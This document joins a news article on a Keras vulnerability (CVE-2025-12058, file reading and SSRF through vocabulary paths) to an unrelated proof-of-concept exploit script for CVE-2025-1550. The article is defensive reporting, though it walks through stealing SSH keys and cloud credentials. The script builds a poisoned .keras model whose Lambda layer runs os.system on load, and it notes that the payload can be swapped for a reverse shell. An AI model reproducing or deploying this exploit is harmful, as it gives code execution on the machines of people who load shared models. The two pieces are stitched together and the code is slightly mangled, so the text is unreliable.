keras

A vulnerability in the open source library Keras could allow attackers to load arbitrary local files or conduct server-side request forgery (SSRF) attacks. Providing a Python interface for artificial neural networks, Keras is a deep learning API that can be used as a low-level cross-framework language for the building of AI models that work with JAX, TensorFlow, and PyTorch. Tracked as CVE-2025-12058 (CVSS score of 5.9), the medium-severity flaw exited because the library’s StringLookup and IndexLookup preprocessing layers allow for file paths or URLs to be used as inputs to define vocabularies. When Keras reconstructed the layers by loading a serialized model, it would access the referenced file paths during deserialization, without proper validation or restriction, and incorporate the contents of the specified files into the model state. “This means that even when security features like safe_mode are enabled, a malicious model can still instruct Keras to access local files or external URLs during load time, exposing sensitive data or enabling remote network requests,” Zscaler explains. According to the company, this behavior bypasses safe deserialization, allowing attackers to read arbitrary local files, exfiltrate information through vocabularies, and conduct SSRF attacks. In real-world scenarios, attackers could exploit the vulnerability by uploading to public repositories malicious Keras models with specially crafted vocabulary parameters, such as those targeting SSH keys. When a victim downloads and loads the model, during deserialization, their SSH private keys are read into the model’s vocabulary. The attacker can retrieve the keys by redownloading the model or through vocabulary exfiltration. “Potential impact: complete compromise of victim’s SSH access to servers, code repositories, and cloud infrastructure. Attackers can pivot to active intrusion: clone private repos, inject backdoors or malicious commits into CI/CD, execute code in production, and move laterally,” Zscaler says. If a malicious model is deployed in cloud environments with instance metadata services, its loading in a VM allows attackers to retrieve IAM credentials and gain full control over an organization’s cloud resources. The vulnerability was resolved in Keras version 3.11.4 by embedding vocabulary files directly into the Keras archive and loading them from the archive upon initialization. It also disallows the loading of arbitrary vocabulary files when safe_mode is enabled. Related: Chrome 142 Update Patches High-Severity Flaws Related: Cisco Patches Critical Vulnerabilities in Contact Center Appliance Related: Critical Vulnerabilities Patched in TP-Link’s Omada Gateways Related: Oracle Releases October 2025 Patches

#!/usr/bin/env python3 Exploit Title: Keras 2.15 - Remote Code Execution (RCE) Author: Mohammed Idrees Banyamer Instagram: @banyamer_security GitHub: https://github.com/mbanyamer Date: 2025-07-09 Tested on: Ubuntu 22.04 LTS, Python 3.10, TensorFlow/Keras <= 2.15 CVE: CVE-2025-1550 Type: Remote Code Execution (RCE) Platform: Python / Machine Learning (Keras) Author Country: Jordan Attack Vector: Malicious .keras file (client-side code execution via deserialization) Description: This exploit abuses insecure deserialization in Keras model loading. By embedding a malicious "function" object inside a .keras file (or config.json), an attacker can execute arbitrary system commands as soon as the model is loaded using keras.models.load_model() or model_from_json(). This PoC generates a .keras file which, when loaded, triggers a reverse shell or command. Use only in safe, sandboxed environments! Steps of exploitation: 1. The attacker creates a fake Keras model using a specially crafted config.json. 2. The model defines a Lambda layer with a "function" deserialized from the os.system call. 3. When the victim loads the model using load_model(), the malicious function is executed. 4. Result: Arbitrary Code Execution under the user running the Python process. Affected Versions: Keras <= 2.15 TensorFlow versions using unsafe deserialization paths (prior to April 2025 patch) Usage: $ python3 exploit_cve_2025_1550.py [*] Loads the malicious model [✓] Executes the payload (e.g., creates a file in /tmp) Options: PAYLOAD: The command to execute upon loading (default: touch /tmp/pwned_by_keras) You may change this to: reverse shell, download script, etc. Example: $ python3 exploit_cve_2025_1550.py [+] Created malicious model: malicious_model.keras [*] Loading malicious model to trigger exploit... [✓] Model loaded. If vulnerable, payload should be executed. import os import json from zipfile import ZipFile import tempfile import shutil from tensorflow.keras.models import load_model PAYLOAD = "touch /tmp/pwned_by_keras" def create_malicious_config(): return { "class_name": "Functional", "config": { "name": "pwned_model", "layers": [ { "class_name": "Lambda", "config": { "name": "evil_lambda", "function": { "class_name": "function", "config": { "module": "os", "function_name": "system", "registered_name": None } }, "arguments": [PAYLOAD] } } ], "input_layers": [["evil_lambda", 0, 0]], "output_layers": [["evil_lambda", 0, 0]] } } def build_malicious_keras(output_file="malicious_model.keras"): tmpdir = tempfile.mkdtemp() try: config_path = os.path.join(tmpdir, "config.json") with open(config_path, "w") as f: json.dump(create_malicious_config(), f) metadata_path = os.path.join(tmpdir, "metadata.json") with open(metadata_path, "w") as f: json.dump({"keras_version": "2.15.0"}, f) weights_path = os.path.join(tmpdir, "model.weights.h5") with open(weights_path, "wb") as f: f.write(b"\x89HDF\r\n\x1a\n") # توقيع HDF5 with ZipFile(output_file, "w") as archive: archive.write(config_path, arcname="config.json") archive.write(metadata_path, arcname="metadata.json") archive.write(weights_path, arcname="model.weights.h5") print(f"[+] Created malicious model: {output_file}") finally: shutil.rmtree(tmpdir) def trigger_exploit(model_path): print("[*] Loading malicious model to trigger exploit...") load_model(model_path) print("[✓] Model loaded. If vulnerable, payload should be executed.") if name == "main": keras_file = "malicious_model.keras" build_malicious_keras(keras_file) trigger_exploit(keras_file)